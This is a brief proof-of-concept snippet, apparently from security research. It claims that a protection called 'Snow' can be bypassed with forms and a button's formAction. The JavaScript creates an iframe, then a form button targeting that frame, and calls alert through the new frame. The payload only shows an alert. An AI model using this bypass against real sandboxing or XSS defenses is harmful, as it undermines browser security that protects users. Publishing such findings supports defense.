Snow can be bypassed with forms and buttons formAction

[hackvertor]

setInterval(x=>xyz.alert(1337),0);
i=document.createElement('iframe');
i.name='xyz';
f=document.createElement('form');
b=document.createElement('button');
b.formTarget='xyz';
b.formAction='1';
f.append(b);
document.body.append(f);
document.body.append(i);
b. click()